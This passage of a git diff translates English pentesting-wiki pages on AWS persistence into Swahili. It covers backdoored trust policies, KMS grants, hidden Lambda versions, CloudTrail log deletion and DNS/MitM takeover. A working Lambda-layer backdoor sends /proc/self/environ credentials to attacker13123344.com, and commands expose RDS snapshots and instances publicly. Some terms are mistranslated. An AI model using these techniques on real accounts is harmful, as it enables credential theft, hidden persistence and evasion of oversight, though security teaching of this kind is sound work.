below in STS persistence) +- Unda mtumiaji +- Ongeza mtumiaji anayedhibitiwa kwenye kundi lenye mamlaka +- Unda funguo za ufikiaji (za mtumiaji mpya au za watumiaji wote) +- Toa ruhusa za ziada kwa watumiaji/vikundi vilivyo na udhibiti (sera zilizounganishwa au sera za ndani) +- Zima MFA / Ongeza kifaa chako cha MFA +- Unda hali ya Mnyororo wa Jukumu (zaidi kuhusu hii hapa chini katika uthibitishaji wa STS) -### Backdoor Role Trust Policies - -You could backdoor a trust policy to be able to assume it for an external resource controlled by you (or to everyone): +### Sera za Kuamini Jukumu la Backdoor +Unaweza kuingiza backdoor kwenye sera ya kuamini ili uweze kuichukua kwa rasilimali ya nje inayodhibitiwa na wewe (au kwa kila mtu): ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": ["*", "arn:aws:iam::123213123123:root"] - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": ["*", "arn:aws:iam::123213123123:root"] +}, +"Action": "sts:AssumeRole" +} +] } ``` +### Sera ya Backdoor -### Backdoor Policy Version +Patia ruhusa za Msimamizi sera katika toleo lake si la mwisho (toleo la mwisho linapaswa kuonekana halali), kisha piga hiyo sera kwa mtumiaji/jeshi lililodhibitiwa. -Give Administrator permissions to a policy in not its last version (the last version should looks legit), then assign that version of the policy to a controlled user/group. +### Backdoor / Unda Mtoa Kitambulisho -### Backdoor / Create Identity Provider - -If the account is already trusting a common identity provider (such as Github) the conditions of the trust could be increased so the attacker can abuse them. +Ikiwa akaunti tayari inatumia mtoa kitambulisho wa kawaida (kama Github) masharti ya uaminifu yanaweza kuongezwa ili mshambuliaji aweze kuyatumia. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md index 7aefbd410..cc64ee43f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md @@ -4,40 +4,34 @@ ## KMS -For mor information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} -### Grant acces via KMS policies +### Toa ufikiaji kupitia sera za KMS -An attacker could use the permission **`kms:PutKeyPolicy`** to **give access** to a key to a user under his control or even to an external account. Check the [**KMS Privesc page**](../aws-privilege-escalation/aws-kms-privesc.md) for more information. +Mshambuliaji anaweza kutumia ruhusa **`kms:PutKeyPolicy`** ili **kutoa ufikiaji** kwa funguo kwa mtumiaji chini ya udhibiti wake au hata kwa akaunti ya nje. Angalia [**ukurasa wa KMS Privesc**](../aws-privilege-escalation/aws-kms-privesc.md) kwa maelezo zaidi. ### Eternal Grant -Grants are another way to give a principal some permissions over a specific key. It's possible to give a grant that allows a user to create grants. Moreover, a user can have several grant (even identical) over the same key. +Mikopo ni njia nyingine ya kutoa ruhusa kwa kiongozi juu ya funguo maalum. Inawezekana kutoa mkopo unaomruhusu mtumiaji kuunda mikopo. Zaidi ya hayo, mtumiaji anaweza kuwa na mikopo kadhaa (hata sawa) juu ya funguo hiyo hiyo. -Therefore, it's possible for a user to have 10 grants with all the permissions. The attacker should monitor this constantly. And if at some point 1 grant is removed another 10 should be generated. - -(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant) +Hivyo, inawezekana kwa mtumiaji kuwa na mikopo 10 yenye ruhusa zote. Mshambuliaji anapaswa kufuatilia hili mara kwa mara. Na ikiwa kwa wakati fulani mkopo 1 utaondolewa, mingine 10 inapaswa kuundwa. +(Tunatumia 10 na si 2 ili kuweza kugundua kwamba mkopo umeondolewa wakati mtumiaji bado ana mkopo fulani) ```bash # To generate grants, generate 10 like this one aws kms create-grant \ - --key-id \ - --grantee-principal \ - --operations "CreateGrant" "Decrypt" +--key-id \ +--grantee-principal \ +--operations "CreateGrant" "Decrypt" # To monitor grants aws kms list-grants --key-id ``` - > [!NOTE] -> A grant can give permissions only from this: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) +> Utoaji unaweza kutoa ruhusa tu kutoka hapa: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 1390c2d55..479a3bbd2 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -4,7 +4,7 @@ ## Lambda -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../../aws-services/aws-lambda-enum.md @@ -12,7 +12,7 @@ For more information check: ### Lambda Layer Persistence -It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way: +Inawezekana **kuanzisha/backdoor layer ili kutekeleza msimbo wowote** wakati lambda inatekelezwa kwa njia ya siri: {{#ref}} aws-lambda-layers-persistence.md @@ -20,49 +20,45 @@ aws-lambda-layers-persistence.md ### Lambda Extension Persistence -Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. +Kwa kutumia Lambda Layers inawezekana pia kutumia extensions na kudumu katika lambda lakini pia kuiba na kubadilisha maombi. {{#ref}} aws-abusing-lambda-extensions.md {{#endref}} -### Via resource policies +### Kupitia sera za rasilimali -It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts: +Inawezekana kutoa ufikiaji kwa vitendo tofauti vya lambda (kama vile kuita au kuboresha msimbo) kwa akaunti za nje:
-### Versions, Aliases & Weights +### Matoleo, Majina Mbadala & Uzito -A Lambda can have **different versions** (with different code each version).\ -Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\ -This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth. +Lambda inaweza kuwa na **matoleo tofauti** (ikiwa na msimbo tofauti kila toleo).\ +Kisha, unaweza kuunda **majina mbadala tofauti na matoleo tofauti** ya lambda na kuweka uzito tofauti kwa kila moja.\ +Hivi ndivyo mshambuliaji anaweza kuunda **toleo la backdoored 1** na **toleo la 2 lenye msimbo halali tu** na **kutekeleza toleo la 1 tu katika 1%** ya maombi ili kubaki kwa siri.
-### Version Backdoor + API Gateway +### Toleo la Backdoor + API Gateway -1. Copy the original code of the Lambda -2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST - 1. Call the API gateway related to the lambda to execute the code -3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST. - 1. This will hide the backdoored code in a previous version -4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1` - 1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario). -5. Select the POST method created and in Actions select **`Deploy API`** -6. Now, when you **call the function via POST your Backdoor** will be invoked +1. Nakili msimbo wa asili wa Lambda +2. **Unda toleo jipya la backdooring** msimbo wa asili (au tu na msimbo mbaya). Chapisha na **peleka toleo hilo** kwa $LATEST +1. Piga simu kwa API gateway inayohusiana na lambda ili kutekeleza msimbo +3. **Unda toleo jipya lenye msimbo wa asili**, Chapisha na peleka **toleo hilo** kwa $LATEST. +1. Hii itaficha msimbo wa backdoored katika toleo la awali +4. Nenda kwa API Gateway na **unda njia mpya ya POST** (au chagua njia nyingine yoyote) ambayo itatekeleza toleo la backdoored la lambda: `arn:aws:lambda:us-east-1::function::1` +1. Kumbuka mwisho :1 ya arn **ikiashiria toleo la kazi** (toleo 1 litakuwa la backdoored katika hali hii). +5. Chagua njia ya POST iliyoundwa na katika Vitendo chagua **`Deploy API`** +6. Sasa, unapofanya **kuita kazi kupitia POST Backdoor yako** itaitwa ### Cron/Event actuator -The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\ -Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**. +Hali kwamba unaweza kufanya **kazi za lambda zifanye kazi wakati kitu kinatokea au wakati muda unapita** inafanya lambda kuwa njia nzuri na ya kawaida ya kupata kudumu na kuepuka kugunduliwa.\ +Hapa kuna mawazo kadhaa ya kufanya **uwepo wako katika AWS uwe wa siri zaidi kwa kuunda lambdas**. -- Every time a new user is created lambda generates a new user key and send it to the attacker. -- Every time a new role is created lambda gives assume role permissions to compromised users. -- Every time new cloudtrail logs are generated, delete/alter them +- Kila wakati mtumiaji mpya anapoundwa lambda inaunda ufunguo mpya wa mtumiaji na kuutuma kwa mshambuliaji. +- Kila wakati jukumu jipya linapoundwa lambda inatoa ruhusa za kudhani jukumu kwa watumiaji waliokumbwa. +- Kila wakati kumbukumbu mpya za cloudtrail zinapoundwa, futa/badilisha hizo. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md index 71655ada0..09a09f417 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md @@ -4,35 +4,35 @@ ## Lambda Extensions -Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**. +Lambda extensions huongeza kazi kwa kuunganishwa na zana mbalimbali za **monitoring, observability, security, na governance**. Extensions hizi, zinazoongezwa kupitia [.zip archives kwa kutumia Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) au kujumuishwa katika [mifano ya picha za kontena](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), zinafanya kazi katika njia mbili: **internal** na **external**. -- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**. -- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**. +- **Internal extensions** huunganishwa na mchakato wa runtime, zikibadilisha uzinduzi wake kwa kutumia **language-specific environment variables** na **wrapper scripts**. Uboreshaji huu unatumika kwa aina mbalimbali za runtimes, ikiwa ni pamoja na **Java Correto 8 na 11, Node.js 10 na 12, na .NET Core 3.1**. +- **External extensions** zinafanya kazi kama michakato tofauti, zikihakikisha uendeshaji unalingana na mzunguko wa maisha wa kazi ya Lambda. Zinapatikana kwa runtimes mbalimbali kama **Node.js 10 na 12, Python 3.7 na 3.8, Ruby 2.5 na 2.7, Java Corretto 8 na 11, .NET Core 3.1**, na **custom runtimes**. -For more information about [**how lambda extensions work check the docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). +Kwa maelezo zaidi kuhusu [**jinsi lambda extensions zinavyofanya kazi angalia docs**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html). ### External Extension for Persistence, Stealing Requests & modifying Requests -This is a summary of the technique proposed in this post: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) +Hii ni muhtasari wa mbinu iliyopendekezwa katika chapisho hili: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) -It was found that the default Linux kernel in the Lambda runtime environment is compiled with ā€œ**process_vm_readv**ā€ and ā€œ**process_vm_writev**ā€ system calls. And all processes run with the same user ID, even the new process created for the external extension. **This means that an external extension has full read and write access to Rapidā€™s heap memory, by design.** +Ilipatikana kuwa kernel ya Linux ya default katika mazingira ya runtime ya Lambda imeandikwa kwa ā€œ**process_vm_readv**ā€ na ā€œ**process_vm_writev**ā€ system calls. Na michakato yote inafanya kazi na kitambulisho sawa cha mtumiaji, hata mchakato mpya ulioanzishwa kwa ajili ya external extension. **Hii inamaanisha kuwa external extension ina ufikiaji kamili wa kusoma na kuandika kwenye kumbukumbu ya Rapid, kwa muundo.** -Moreover, while Lambda extensions have the capability to **subscribe to invocation events**, AWS does not reveal the raw data to these extensions. This ensures that **extensions cannot access sensitive information** transmitted via the HTTP request. +Zaidi ya hayo, ingawa Lambda extensions zina uwezo wa **kujiandikisha kwa matukio ya mwito**, AWS haifunui data halisi kwa extensions hizi. Hii inahakikisha kuwa **extensions haziwezi kufikia taarifa nyeti** zinazotumwa kupitia ombi la HTTP. -The Init (Rapid) process monitors all API requests at [http://127.0.0.1:9001](http://127.0.0.1:9001/) while Lambda extensions are initialized and run prior to the execution of any runtime code, but after Rapid. +Mchakato wa Init (Rapid) unafuatilia maombi yote ya API katika [http://127.0.0.1:9001](http://127.0.0.1:9001/) wakati Lambda extensions zinaanzishwa na kuendesha kabla ya utekelezaji wa msimbo wowote wa runtime, lakini baada ya Rapid.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png

-The variable **`AWS_LAMBDA_RUNTIME_API`** indicates the **IP** address and **port** number of the Rapid API to **child runtime processes** and additional extensions. +Kigezo **`AWS_LAMBDA_RUNTIME_API`** kinaonyesha **IP** anwani na **nambari** ya **port** ya Rapid API kwa **michakato ya runtime ya watoto** na extensions za ziada. > [!WARNING] -> By changing the **`AWS_LAMBDA_RUNTIME_API`** environment variable to a **`port`** we have access to, it's possible to intercept all actions within the Lambda runtime (**man-in-the-middle**). This is possible because the extension runs with the same privileges as Rapid Init, and the system's kernel allows for **modification of process memory**, enabling the alteration of the port number. +> Kwa kubadilisha kigezo cha mazingira **`AWS_LAMBDA_RUNTIME_API`** kuwa **`port`** tunayo, inawezekana kukamata vitendo vyote ndani ya runtime ya Lambda (**man-in-the-middle**). Hii inawezekana kwa sababu extension inafanya kazi na ruhusa sawa na Rapid Init, na kernel ya mfumo inaruhusu **kubadilisha kumbukumbu ya mchakato**, ikiruhusu kubadilisha nambari ya port. -Because **extensions run before any runtime code**, modifying the environment variable will influence the runtime process (e.g., Python, Java, Node, Ruby) as it starts. Furthermore, **extensions loaded after** ours, which rely on this variable, will also route through our extension. This setup could enable malware to entirely bypass security measures or logging extensions directly within the runtime environment. +Kwa sababu **extensions zinafanya kazi kabla ya msimbo wowote wa runtime**, kubadilisha kigezo cha mazingira kutakuwa na athari kwenye mchakato wa runtime (mfano, Python, Java, Node, Ruby) unapoanza. Zaidi ya hayo, **extensions zilizopakiwa baada** yetu, ambazo zinategemea kigezo hiki, pia zitaelekeza kupitia extension yetu. Mpangilio huu unaweza kuwezesha malware kupita kabisa hatua za usalama au logging extensions moja kwa moja ndani ya mazingira ya runtime.

https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.mitm.png

-The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created to perform that **memory write** and **steal sensitive information** from lambda requests, other **extensions** **requests** and even **modify them**. +Chombo [**lambda-spy**](https://github.com/clearvector/lambda-spy) kilitengenezwa ili kutekeleza **memory write** na **kuchukua taarifa nyeti** kutoka kwa maombi ya lambda, maombi mengine ya **extensions** na hata **kuyabadilisha**. ## References @@ -40,7 +40,3 @@ The tool [**lambda-spy**](https://github.com/clearvector/lambda-spy) was created - [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md index f8a5e2868..f5de397fd 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -4,22 +4,20 @@ ## Lambda Layers -A Lambda layer is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files. +Layer ya Lambda ni archive ya .zip ambayo **inaweza kuwa na msimbo wa ziada** au maudhui mengine. Layer inaweza kuwa na maktaba, [runtime ya kawaida](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, au faili za usanidi. -It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment. +Inawezekana kujumuisha hadi **layers tano kwa kazi**. Unapojumuisha layer katika kazi, **maudhui yanachukuliwa hadi kwenye saraka ya `/opt`** katika mazingira ya utekelezaji. -By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version. +Kwa **default**, **layers** ambazo unaunda ni **binafsi** kwa akaunti yako ya AWS. Unaweza kuchagua **kushiriki** layer na akaunti nyingine au **kufanya** layer hiyo **kuwa ya umma**. Ikiwa kazi zako zinatumia layer ambayo akaunti tofauti ilichapisha, kazi zako zinaweza **kuendelea kutumia toleo la layer baada ya kufutwa, au baada ya ruhusa yako ya kufikia layer hiyo kufutwa**. Hata hivyo, huwezi kuunda kazi mpya au kuboresha kazi ukitumia toleo la layer lililofutwa. -Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image. +Kazi zilizowekwa kama picha ya kontena hazitumii layers. Badala yake, unapakua runtime unayopendelea, maktaba, na utegemezi mwingine ndani ya picha ya kontena unapojenga picha hiyo. ### Python load path -The load path that Python will use in lambda is the following: - +Njia ya kupakia ambayo Python itatumia katika lambda ni ifuatayo: ``` ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages'] ``` - Check how the **second** and third **positions** are occupy by directories where **lambda layers** uncompress their files: **`/opt/python/lib/python3.9/site-packages`** and **`/opt/python`** > [!CAUTION] @@ -37,46 +35,41 @@ Therefore, the requisites are: > In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed. With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda: - ```python import sys def lambda_handler(event, context): - return { - 'statusCode': 200, - 'body': str(sys.modules.keys()) - } +return { +'statusCode': 200, +'body': str(sys.modules.keys()) +} ``` - -And this is the **list** (check that libraries like `os` or `json` are already there) - +Na hii ni **orodha** (hakikisha kwamba maktaba kama `os` au `json` tayari zipo) ``` 'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function' ``` - -And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) +Na hii ni orodha ya **maktaba** ambazo **lambda inajumuisha zilizowekwa kwa chaguo-msingi**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3) ### Lambda Layer Backdooring -In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**. +Katika mfano huu hebu tuweke kuwa msimbo unaolengwa unatumia **`csv`**. Tunakwenda **kufanya backdoor kwenye uagizaji wa maktaba ya `csv`**. -For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\ -Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\ -This file must: +Ili kufanya hivyo, tutaunda **directory csv** yenye faili **`__init__.py`** ndani yake katika njia ambayo inapakuliwa na lambda: **`/opt/python/lib/python3.9/site-packages`**\ +Kisha, wakati lambda inatekelezwa na kujaribu kupakua **csv**, faili yetu ya **`__init__.py` itapakuliwa na kutekelezwa**.\ +Faili hii lazima: -- Execute our payload -- Load the original csv library - -We can do both with: +- Itekeleze payload yetu +- Ipakue maktaba ya csv asilia +Tunaweza kufanya yote mawili kwa: ```python import sys from urllib import request with open("/proc/self/environ", "rb") as file: - url= "https://attacker13123344.com/" #Change this to your server - req = request.Request(url, data=file.read(), method="POST") - response = request.urlopen(req) +url= "https://attacker13123344.com/" #Change this to your server +req = request.Request(url, data=file.read(), method="POST") +response = request.urlopen(req) # Remove backdoor directory from path to load original library del_path_dir = "/".join(__file__.split("/")[:-2]) @@ -90,29 +83,27 @@ import csv as _csv sys.modules["csv"] = _csv ``` +Kisha, tengeneza zip na msimbo huu katika njia **`python/lib/python3.9/site-packages/__init__.py`** na uongeze kama tabaka la lambda. -Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer. +Unaweza kupata msimbo huu katika [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) -You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) - -The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated: +Payload iliyounganishwa it **tuma IAM creds kwa seva WAKATI WA KWANZA inapoitwa au BAADA ya kurekebisha kontena la lambda** (mabadiliko ya msimbo au lambda baridi), lakini **mbinu nyingine** kama ifuatavyo zinaweza pia kuunganishwa: {{#ref}} ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} -### External Layers +### Tabaka za Nje -Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\ -Also note that the **max number of layers a lambda can have is 5**. +Kumbuka kwamba inawezekana kutumia **tabaka za lambda kutoka kwa akaunti za nje**. Aidha, lambda inaweza kutumia tabaka kutoka kwa akaunti ya nje hata kama haina ruhusa.\ +Pia kumbuka kwamba **idadi ya juu ya tabaka ambayo lambda inaweza kuwa nayo ni 5**. -Therefore, in order to improve the versatility of this technique an attacker could: - -- Backdoor an existing layer of the user (nothing is external) -- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**. - - The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda) - - The victim **won't see external layers** used with **`aws lambda list-layers`** +Hivyo, ili kuboresha ufanisi wa mbinu hii mshambuliaji anaweza: +- Kuingiza nyuma tabaka lililopo la mtumiaji (hakuna chochote ni cha nje) +- **Kuunda** **tabaka** katika **akaunti yake**, kumpa **mtumiaji waathirika ruhusa** kutumia tabaka, **kuweka** **tabaka** katika Lambda ya waathirika na **kuondoa ruhusa**. +- **Lambda** bado itakuwa na uwezo wa **kutumia tabaka** na **waathirika hawata** kuwa na njia rahisi ya **kupakua msimbo wa tabaka** (kando na kupata rev shell ndani ya lambda) +- Waathirika **hawataona tabaka za nje** zinazotumika na **`aws lambda list-layers`** ```bash # Upload backdoor layer aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" @@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen # Remove permissions aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md index 88b0d082a..cb38c8483 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md @@ -4,34 +4,30 @@ ## Lightsail -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-lightsail-enum.md {{#endref}} -### Download Instance SSH keys & DB passwords +### Pakua Funguo za SSH za Instance & Nywila za DB -They won't be changed probably so just having them is a good option for persistence +Hawatabadilishwa labda hivyo kuwa nazo ni chaguo nzuri kwa ajili ya kudumu ### Backdoor Instances -An attacker could get access to the instances and backdoor them: +Mshambuliaji anaweza kupata ufikiaji wa instances na kuziingiza backdoor: -- Using a traditional **rootkit** for example -- Adding a new **public SSH key** -- Expose a port with port knocking with a backdoor +- Kutumia **rootkit** wa jadi kwa mfano +- Kuongeza **funguo mpya za SSH za umma** +- Kufichua bandari kwa kutumia port knocking na backdoor ### DNS persistence -If domains are configured: +Ikiwa majina ya kikoa yamewekwa: -- Create a subdomain pointing your IP so you will have a **subdomain takeover** -- Create **SPF** record allowing you to send **emails** from the domain -- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones +- Unda subdomain inayolenga IP yako ili uwe na **subdomain takeover** +- Unda rekodi ya **SPF** inayokuruhusu kutuma **barua pepe** kutoka kwa kikoa +- Sanidi **IP ya kikoa kikuu kuwa yako mwenyewe** na fanya **MitM** kutoka IP yako hadi zile halali {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md index b7a4b8f7b..2a3490e7f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md @@ -4,32 +4,24 @@ ## RDS -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-relational-database-rds-enum.md {{#endref}} -### Make instance publicly accessible: `rds:ModifyDBInstance` - -An attacker with this permission can **modify an existing RDS instance to enable public accessibility**. +### Fanya mfano uweze kupatikana hadharani: `rds:ModifyDBInstance` +Mshambuliaji mwenye ruhusa hii anaweza **kubadilisha mfano wa RDS uliopo ili kuwezesha upatikanaji wa hadhara**. ```bash aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately ``` - ### Create an admin user inside the DB -An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database. +Mshambuliaji anaweza tu **kuunda mtumiaji ndani ya DB** hivyo hata kama nenosiri la mtumiaji mkuu limebadilishwa **hampotezi ufikiaji** wa hifadhidata. ### Make snapshot public - ```bash aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md index f2c4ce048..babd43c0f 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md @@ -4,7 +4,7 @@ ## S3 -For more information check: +Kwa maelezo zaidi angalia: {{#ref}} ../aws-services/aws-s3-athena-and-glacier-enum.md @@ -12,18 +12,14 @@ For more information check: ### KMS Client-Side Encryption -When 